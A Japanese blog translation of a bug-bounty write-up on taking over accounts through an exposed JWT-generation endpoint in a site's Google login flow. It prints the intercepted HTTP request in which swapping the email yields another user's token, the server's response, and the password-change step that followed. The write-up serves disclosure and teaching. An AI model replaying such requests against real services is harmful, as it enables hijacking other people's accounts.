Shikata Ga Nai

Private? There is no such things.

A tale of critical account take overを訳してみた

Hello there, ('ω')ノ

 

重要なアカウントを引き継ぐ話を。

 

脆弱性:

 アカウントの乗っ取り

 公開されたJWT生成エンドポイント

 

記事:

 https://shivam312000.medium.com/a-tale-of-critical-account-take-over-e1b7c180917c

 

ツール:

 Burp Suite


今回のプライベートプログラムは、グーグルとフェイスブックの機能で。

ログインをチェックする機能を持っていて。

それは下記のように機能して。

 1)グーグルでログインをクリック

 2)メールIDとパスワードを入力

 

このプログラムは、jwt認証を使用していたため、ログインに成功すると。

指定された電子メールに対してjwtが生成されて。

基本的にグーグルでログインしている間に。

すべての要求を一つずつ傍受していると。

Burp Suiteの履歴で、パラメータとして電子メールIDを取得することで。

下記のようにユーザのjwtトークンを生成するAPIエンドポイントを見つけて。

 

POST /register?src=aweb HTTP/1.1

Host: userapi.target.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://www.target.com

cp-origin: 11

Content-Type: application/json

X-Auth-Token: xxxxx

X-JWT-Token:

Origin: https://www.target.com

Content-Length: 1354

Connection: close

{“name”:”Shivam Pandey”,”email”:”shivam@gmail.com”,”providerUserId”:”103151677586368643333",”providerToken”:” eyFuZGV5IiwibG9jYWxlIjoiZW4tR0IiLCJpYXQiOjE1OTQyMjE3NzQsImV4cCI6MTU5NDIyNTM3NCwianRpIjoiODI4MWQwMWNhMTI0NTBkODA0YWQ4YzdkYWEzYTQ5MWI1MTA4M2JlMSJmHBAN06Wv1CspbxbXxxvlCieGHjlXrF5S8TbQvLTwIHKwdlbXhbuYydHpTubRQojAc_ZcHdHlMgumx6XJLvUk10dHkN_V1eQ”,”providerName”:”g”}

 

上記のリクエストでは、「providerToken」は。

指定されたメールのjwtトークンを生成するので。

ここでtesthunter@gmail.comというテストアカウントでメールを変更して。

攻撃者のjwtトークンに応答を表示させることに。

 

HTTP/1.1 200

Content-Type: application/json;charset=UTF-8

Content-Length: 476

Connection: close

Date: Wed, 08 Jul 2020 15:42:16 GMT

Server: nginx/1.16.1

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: 0

Strict-Transport-Security: max-age=31536000 ; includeSubDomains

X-Frame-Options: DENY

Access-Control-Allow-Origin: https://www.target.com

Vary: Origin

Access-Control-Allow-Credentials: true

X-Application-Context: application:prod

X-Cache: Miss from cloudfront

{“userInfo”:{“id”:8023402,”name”:”Test account Reddy”,”email”:”testhunter@gmail.com”,”status”:2,”phone”:”xxxxxxxxxx",”phoneVerified”:true,”socialUserId”:”8023402",”wasUserExists”: :true,”coins”:1209.00},”jwtToken”:”eyJhbGciOiJIUzUxMiJ9.MjM0MDIiLCJpYXQiOjE1OTQyMjI5MzYsImlzcyI6ImFkZGEyNDcuY29tIiwibmFtZSI6IlNyaWthbnRoIFJlZGR5In0.CNjPEj182YvEsdqMOYE_MauFnkl”}

 

セキュリティのために上記のjwtTokenは変更していますが。

 

すでにjwtトークンを持っていて。

メールの変更リクエストを実行できることはわかっていて。

 

f:id:ThisIsOne:20211114131255p:plain

 

passowrdの変更に現在のpassowrdは必要ないので。

下記のように新しいパスワードのリクエストを傍受することに。

 

f:id:ThisIsOne:20211114131324p:plain

 

そして、メールパラメータで自分のテストアカウントのメールに変更すると。

ステータスコード401が。

なので、以前にメールパラメータを変更して盗んだjwtトークンを変更して。

被害者のパスワードを正常に変更することができたので。

被害者のウィンドウで下記を取得してみると確認できて。

 

f:id:ThisIsOne:20211114131356p:plain

 

手順:

1)常にAPIエンドポイントを取り上げて。

2)ジューシーなエンドポイントのBurpの履歴を確認して。

3)グーグルとフェイスブックの機能でログインをテストして。

 

Best regards, (^^ゞ